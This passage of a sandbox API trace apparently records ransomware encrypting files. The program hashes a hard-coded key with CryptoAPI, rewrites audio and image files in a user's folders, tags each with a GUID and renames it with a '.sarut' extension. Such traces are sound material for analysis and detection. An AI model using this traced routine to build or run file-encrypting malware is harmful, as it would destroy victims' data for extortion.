flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.187] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb86c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.187] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.189] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.189] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb892, lpOverlapped=0x0) returned 1 [0271.189] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.189] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.190] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.190] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.190] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.191] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.191] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.191] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.191] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.191] GetLastError () returned 0x0 [0271.191] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.191] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.191] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb890) returned 0x311d708 [0271.191] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.191] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xb88d, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xb88d, lpOverlapped=0x0) returned 1 [0271.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.192] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb892, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.192] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.192] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.192] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.192] CloseHandle (hObject=0x5c4) returned 1 [0271.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\P r09cK6te2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\p r09ck6te2.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\P r09cK6te2.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\p r09ck6te2.mp3.sarut")) returned 1 [0271.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.197] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.198] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca08ef80, ftCreationTime.dwHighDateTime=0x1d4d03e, ftLastAccessTime.dwLowDateTime=0x3581c440, ftLastAccessTime.dwHighDateTime=0x1d4c78d, ftLastWriteTime.dwLowDateTime=0x3581c440, ftLastWriteTime.dwHighDateTime=0x1d4c78d, nFileSizeHigh=0x0, nFileSizeLow=0x16712, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T4bMO1.wav", cAlternateFileName="")) returned 1 [0271.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\T4bMO1.wav") returned=".wav" [0271.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\T4bMO1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\t4bmo1.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.199] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=91922) returned 1 [0271.199] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.201] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x166ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.202] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.203] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16712, lpOverlapped=0x0) returned 1 [0271.204] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.204] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.204] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.204] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.205] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.205] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.205] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.205] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.205] GetLastError () returned 0x0 [0271.205] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.206] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.206] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16712, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.207] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.207] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.207] CloseHandle (hObject=0x5c4) returned 1 [0271.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\T4bMO1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\t4bmo1.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\T4bMO1.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\t4bmo1.wav.sarut")) returned 1 [0271.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.216] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.217] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a30130, ftCreationTime.dwHighDateTime=0x1d4c66f, ftLastAccessTime.dwLowDateTime=0x19332040, ftLastAccessTime.dwHighDateTime=0x1d4d002, ftLastWriteTime.dwLowDateTime=0x19332040, ftLastWriteTime.dwHighDateTime=0x1d4d002, nFileSizeHigh=0x0, nFileSizeLow=0x188b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="twx8so6utmD0rym.mp3", cAlternateFileName="TWX8SO~1.MP3")) returned 1 [0271.217] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\twx8so6utmD0rym.mp3") returned=".mp3" [0271.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\twx8so6utmD0rym.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\twx8so6utmd0rym.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.217] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=100534) returned 1 [0271.218] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.220] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18890, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.220] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.224] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x188b6, lpOverlapped=0x0) returned 1 [0271.225] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.225] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.225] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.225] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.226] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.226] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.226] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.226] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.226] GetLastError () returned 0x0 [0271.226] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.226] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.226] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.227] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x188b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.227] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.227] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.227] CloseHandle (hObject=0x5c4) returned 1 [0271.232] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\twx8so6utmD0rym.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\twx8so6utmd0rym.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\twx8so6utmD0rym.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\twx8so6utmd0rym.mp3.sarut")) returned 1 [0271.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.233] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.234] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb02fdd0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0xeac5cfb0, ftLastAccessTime.dwHighDateTime=0x1d4cbd2, ftLastWriteTime.dwLowDateTime=0xeac5cfb0, ftLastWriteTime.dwHighDateTime=0x1d4cbd2, nFileSizeHigh=0x0, nFileSizeLow=0x189e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yYv0O.m4a", cAlternateFileName="")) returned 1 [0271.234] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\yYv0O.m4a") returned=".m4a" [0271.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\yYv0O.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\yyv0o.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.235] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=6302) returned 1 [0271.235] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.237] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1878, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.237] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.239] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x189e, lpOverlapped=0x0) returned 1 [0271.240] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.240] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.240] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.240] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.241] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.241] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.241] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.241] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.241] GetLastError () returned 0x0 [0271.241] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.241] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.241] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x189e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.241] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.241] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.241] CloseHandle (hObject=0x5c4) returned 1 [0271.244] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\yYv0O.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\yyv0o.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\yYv0O.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\yyv0o.m4a.sarut")) returned 1 [0271.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.245] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.246] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb02fdd0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0xeac5cfb0, ftLastAccessTime.dwHighDateTime=0x1d4cbd2, ftLastWriteTime.dwLowDateTime=0xeac5cfb0, ftLastWriteTime.dwHighDateTime=0x1d4cbd2, nFileSizeHigh=0x0, nFileSizeLow=0x189e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yYv0O.m4a", cAlternateFileName="")) returned 0 [0271.246] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0271.247] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.247] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\") returned="io8_8GuAwtxmu\\" [0271.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0271.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0271.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0271.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0271.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0271.247] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.247] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.247] PathFindFileNameW (pszPath="") returned="" [0271.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0271.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b8bec0, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xeb624c70, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0xeb624c70, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0271.248] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b8bec0, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xeb624c70, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0xeb624c70, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.248] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1178a7a0, ftCreationTime.dwHighDateTime=0x1d4d0cd, ftLastAccessTime.dwLowDateTime=0xa6c9f9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0xa6c9f9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AuC6dJL9xmafY", cAlternateFileName="AUC6DJ~1")) returned 1 [0271.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0271.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.249] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5869f10, ftCreationTime.dwHighDateTime=0x1d4d067, ftLastAccessTime.dwLowDateTime=0x6f4bef90, ftLastAccessTime.dwHighDateTime=0x1d4cc04, ftLastWriteTime.dwLowDateTime=0x6f4bef90, ftLastWriteTime.dwHighDateTime=0x1d4cc04, nFileSizeHigh=0x0, nFileSizeLow=0xd596, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DWu1l-Y.png", cAlternateFileName="")) returned 1 [0271.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0271.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0271.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0271.249] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\DWu1l-Y.png") returned=".png" [0271.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\DWu1l-Y.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\dwu1l-y.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.250] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=54678) returned 1 [0271.250] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.252] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd570, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.252] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 